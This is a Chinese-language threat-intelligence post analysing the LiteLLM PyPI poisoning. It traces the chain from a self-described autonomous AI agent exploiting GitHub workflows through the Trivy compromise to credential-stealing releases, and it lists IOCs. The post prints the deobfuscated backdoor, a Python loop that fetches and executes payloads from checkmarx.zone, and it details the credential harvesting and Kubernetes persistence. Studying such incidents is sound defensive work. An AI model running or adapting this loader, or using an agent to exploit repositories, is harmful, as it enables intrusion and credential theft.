文章总结: LiteLLM开源大模型网关遭投毒,攻击者通过hackerbot-claw自动化利用GitHubworkflow漏洞窃取令牌,对Trivy等上游组件投毒,最终在LiteLLM的v1.82.7和v1.82.8版本植入恶意代码,实现凭证窃取、数据外传和持久化后门。这是一场跨生态系统供应链攻击,利用CI/CD信任关系逐级放大影响。文章详细分析了攻击链条、恶意代码行为,提供了IOC指标,建议企业重新审视依赖关系、构建环境隔离、凭证轮换和完整性校验机制。 综合评分: 88 文章分类: 供应链安全,恶意软件,安全建设,漏洞分析,威胁情报
从hackerbot-claw自动化利用到LiteLLM投毒
原创
刁程扬 刁程扬
墨菲安全实验室
2026年3月25日 17:15 北京
01
LiteLLM事件概述
LiteLLM 是一款热门的开源大模型网关,在 GitHub 上拥有4万+star ,用于多模型API管理和统一调用。
攻击者在2026-03-24日通过PyPI 仓库发布了投毒版本的 litellm 组件:
| 版本号 | 下载量 | | — | — | | 1.82.7 | 16930 | | 1.82.8 | 102391 |
LiteLLM被投毒并非一次孤立的投毒事件,而是一场蓄谋已久、环环相扣的跨生态系统连环攻击。攻击者极其巧妙地利用了现代软件供应链的网状信任关系,上演了一场教科书级别的“借刀杀人”。
2月底开始,有攻击者注册了名为hackerbot-claw的GitHub机器人账号以及同名代码仓库,通过自称是基于claude-opus-4.5模型的自主安全研究agent,成功利用了多个热门开源项目的GitHub workflow漏洞(包括 aquasecurity/trivy 仓库,目前已知受影响的仓库还有:avelino/awesome-go、project-akri/akri、microsoft/ai-discovery-agent、DataDog/datadog-iac-scanner、RustPython/RustPython)。通过自动化攻击窃取了GitHub action中配置的访问令牌(PAT),并针对trivy安全扫描插件投毒(trivy是一款开源漏洞扫描工具,常用于CI阶段/容器镜像扫描)。
Trivy项目在被投毒后进行加固
由于Trivy泄漏的token并未清理干净,在3月20日,名为TeamPCP的组织同样获取了Trivy的GitHub token,利用token发布了恶意的GitHub action,并随后在Trivy的dockerhub仓库发布恶意镜像。
由于 LiteLLM 在 CI/CD 流程中依赖 Trivy的GitHub action进行安全扫描,攻击者可能通过被污染的 Trivy 获取构建或发布权限,从而向下游注入恶意 Payload,导致最终分发的包中出现凭证窃取代码。
02
投毒代码分析
攻击者在以下版本中植入了恶意代码:
-
v1.82.7 :litellm/proxy/proxy_server.py 文件
-
v1.82.8 :litellm/proxy/proxy_server.py 与 litellm_init.pth 文件
当执行 import litellm.proxy.proxy_server 或者 Python 启动加载 .pth 文件时,将触发恶意逻辑。
proxy_server.py 中的恶意代码
litellm_init.pth 中的恶意代码
第一阶段:凭证窃取与数据外传脚本
此阶段大规模收集主机敏感凭证 → AES-256 + RSA 公钥加密 → 打包上传至 C2 服务器。
具体恶意行为
此阶段大规模收集主机敏感凭证 → AES-256 + RSA 公钥加密 → 打包上传至 C2 服务器。
- 具体恶意行为
- 全面凭证枚举 :遍历
/home、/root、/etc、/var等目录,窃取以下各类敏感信息: - SSH 私钥(
id_rsa、id_ed25519等)、authorized_keys、config - 云服务凭证(AWS
credentials/config、GCPapplication_default_credentials.json、Azure、Google) - Kubernetes 凭证(
~/.kube/config、ServiceAccount token、所有 Secrets) - Docker、npm、Vault、数据库配置文件(
.my.cnf、.pgpass、Redis、PostgreSQL 等) - 加密货币钱包(Bitcoin、Ethereum、Solana、Cardano 等 keypair 文件)
- 历史记录(
.bash_history、.zsh_history等) - 环境变量、Terraform、Helm、WireGuard 等配置文件
- 动态命令执行 :通过
subprocess运行env、kubectl get secrets、aws API 调用、IMDSv2 元数据窃取等,实时获取临时凭证。 - AWS 高级窃取 :调用 Secrets Manager
ListSecrets/GetSecretValue、SSM Parameter Store,获取云端秘密。 - 数据加密外传 :
- 使用硬编码的 RSA 公钥加密 AES session key
- 将所有收集到的数据打包为
tpcp.tar.gz静默 POST 上传至hxxps[:]//models.litellm[.]cloud/ - 权限提升尝试 :在 K8s 环境中创建 privileged Pod(
hostPID: true、hostNetwork: true),尝试在所有节点上部署持久化后门。
第二阶段:持久化后门
此阶段伪装成系统服务,实现长期驻留 + 二次 payload 拉取执行。
具体恶意行为
-
服务伪装 :
-
文件名伪装为 ~/.config/sysmon/sysmon.py
-
创建 systemd user 服务,描述为 “System Telemetry Service”(系统遥测服务)
-
通过 K8s privileged Pod + hostPath: / 在宿主机上自动安装该服务
-
C2 通信 :
-
启动后延迟 5 分钟,每 50 分钟从 https://checkmarx.zone/raw 获取最新 payload URL
-
使用 /tmp/.pg_state 记录上次执行的 URL,避免重复下载
-
远程代码执行 :
-
下载最新 payload 到 /tmp/pglog
-
赋予 755 权限,后台静默执行(subprocess.Popen + startnewsession=True)
-
过滤掉包含 youtube.com 的链接(疑似作者规避机制)
-
高权限持久化 :依赖 K8s 节点上的 privileged 容器实现宿主机级持久化,重启后依然生效。
还原后的明文 Payload
import urllib.requestimport osimport subprocessimport timeC_URL = "https://checkmarx.zone/raw"TARGET = "/tmp/pglog"STATE = "/tmp/.pg_state"def g(): try: req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'}) with urllib.request.urlopen(req, timeout=10) as r: link = r.read().decode('utf-8').strip() return link if link.startswith("http") else None except: return Nonedef e(l): try: urllib.request.urlretrieve(l, TARGET) os.chmod(TARGET, 0o755) subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True) with open(STATE, "w") as f: f.write(l) except: passif __name__ == "__main__": time.sleep(300) # 首次启动延迟 5 分钟 while True: l = g() # 从 https://checkmarx.zone/raw 获取最新 payload URL prev = "" if os.path.exists(STATE): try: with open(STATE, "r") as f: prev = f.read().strip() except: pass # 如果拿到新链接,且不是 youtube.com,则下载并执行 if l and l != prev and "youtube.com" not in l: e(l) time.sleep(3000) # 每 50 分钟检查一次
03
IOC
外连地址
-
models.litellm.cloud
-
checkmarx.zone
恶意文件哈希
- litellm_init.pth
sha256: 71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238
- proxy_server.py
sha256: a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b
04
总结
从 hackerbot-claw 对 GitHub Actions 的自动化利用,到 Trivy 供应链被TeamPCP二次投毒,再到 LiteLLM 发布链路中出现恶意包,这起事件说明当前开源生态面临的威胁早已不再是单一组件受影响,而是攻击者围绕 CI/CD、访问令牌、构建产物和下游依赖之间的信任关系进行横向渗透与逐级放大。
对企业而言,真正需要关注的不只是“是否安装了恶意版本”,更要重新审视组件依赖关系、第三方构建依赖与镜像来源可信性、构建发布环境隔离、凭证轮换以及产物完整性校验机制;否则,一次上游凭证泄漏,就足以沿着自动化流水线演变成大范围的供应链灾难。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:墨菲安全实验室 刁程扬 刁程扬《从hackerbot-claw自动化利用到LiteLLM投毒》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论